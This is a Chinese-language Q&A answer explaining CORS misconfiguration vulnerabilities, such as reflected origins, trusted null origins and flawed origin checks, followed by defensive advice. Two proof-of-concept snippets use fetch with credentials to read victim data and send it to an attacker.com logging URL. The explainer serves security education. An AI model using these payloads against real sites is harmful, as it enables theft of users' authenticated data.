客户端 CORS漏洞-错误配置

客户端 CORS漏洞-错误配置
最新回答
清风未央

2021-02-05 06:20:45

客户端CORS漏洞-错误配置是指服务器在配置跨域资源共享(CORS)时,由于不当设置导致的安全风险。这些错误配置可能允许恶意网站绕过同源策略,访问敏感数据或执行未授权操作。以下是常见的CORS错误配置及其利用方式:

1. 反射 Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true
  • 问题:服务器动态反射客户端请求中的 Origin 头,并同时设置 Access-Control-Allow-Credentials: true。
  • 风险:攻击者可构造恶意页面,诱导用户访问,从而窃取敏感数据(如Cookie、API密钥)。
  • 示例:HTTP/1.1 200 OKAccess-Control-Allow-Origin:
    https://attacker.comAccess-Control-Allow-Credentials:
    true
  • 利用代码:<script> fetch('
    https://victim.com/sensitive-data'
    , {credentials: 'include'}) .then(r => r.text()) .then(data => location='
    https://attacker.com/log?data='+encodeURIComponent
    (data));</script>
2. Access-Control-Allow-Origin: null + Access-Control-Allow-Credentials: true
  • 问题:服务器允许 Origin: null(常见于沙盒iframe、本地文件请求等),并启用凭证。
  • 风险:攻击者可利用沙盒环境(如 <iframe sandbox>)发起跨域请求。
  • 示例:HTTP/1.1 200 OKAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true
  • 利用代码:<iframe sandbox="allow-scripts allow-forms" src="data:text/html, <script> fetch('
    https://victim.com/sensitive-data'
    , {credentials: 'include'}) .then(r => r.text()) .then(data => location='
    https://attacker.com/log?data='+encodeURIComponent
    (data)); </script>"></iframe>
3. 白名单域名存在XSS漏洞
  • 问题:服务器信任的子域名或第三方域名存在XSS漏洞。
  • 风险:攻击者在受信任域名中注入恶意脚本,利用CORS配置窃取数据。
  • 示例

    服务器允许

    https://trusted-subdomain.victim.com

    该子域名存在XSS漏洞,攻击者插入上述Payload。

4. Origin校验错误
  • 问题:服务器对 Origin 头的校验逻辑存在缺陷(如前缀/后缀匹配、未转义特殊字符)。
  • 风险:攻击者伪造 Origin 绕过校验。
  • 示例

    前缀匹配错误:服务器允许

    http://example.com
    ,但错误匹配了
    http://example.com.attacker.com

    未转义点号:正则表达式 /

    http://www.example.com/
    错误匹配了
    http://wwwaexample.com

5. HTTPS网站信任HTTP域名
  • 问题:HTTPS网站将HTTP域名列入CORS白名单。
  • 风险:中间人攻击(MITM)可篡改HTTP请求,绕过HTTPS保护。
  • 示例:Access-Control-Allow-Origin:
    http://insecure-site.com
6. 信任内网主机
  • 问题:服务器允许内网域名(如
    http://internal.local
    )跨域访问。
  • 风险:若内网主机存在XSS漏洞,攻击者可窃取内网敏感数据。
7. 结合客户端/服务端缓存中毒
  • 问题:错误的CORS响应被缓存(如CDN、浏览器),导致长期可用。
  • 风险:缓存中毒扩大攻击范围,影响更多用户。
防御建议
  1. 严格校验 Origin

    避免动态反射 Origin,使用静态白名单。

    确保正则表达式正确转义(如 . 需转义为 .)。

  2. 禁用敏感组合

    避免同时使用 Access-Control-Allow-Origin: * 和 Access-Control-Allow-Credentials: true。

    若需凭证,必须明确指定域名(如

    https://trusted.com
    )。

  3. 避免信任 null

    除非明确需要(如本地开发),否则禁止 Origin: null。

  4. HTTPS一致性

    确保CORS白名单域名与主站协议一致(如HTTPS不信任HTTP)。

  5. 输入净化

    对用户可控的 Origin 头进行严格过滤。

总结

CORS错误配置的核心在于服务器对跨域请求的过度信任或校验疏漏。攻击者通过构造恶意请求,利用这些配置缺陷窃取数据或执行未授权操作。修复时需遵循最小权限原则,严格限制跨域访问范围。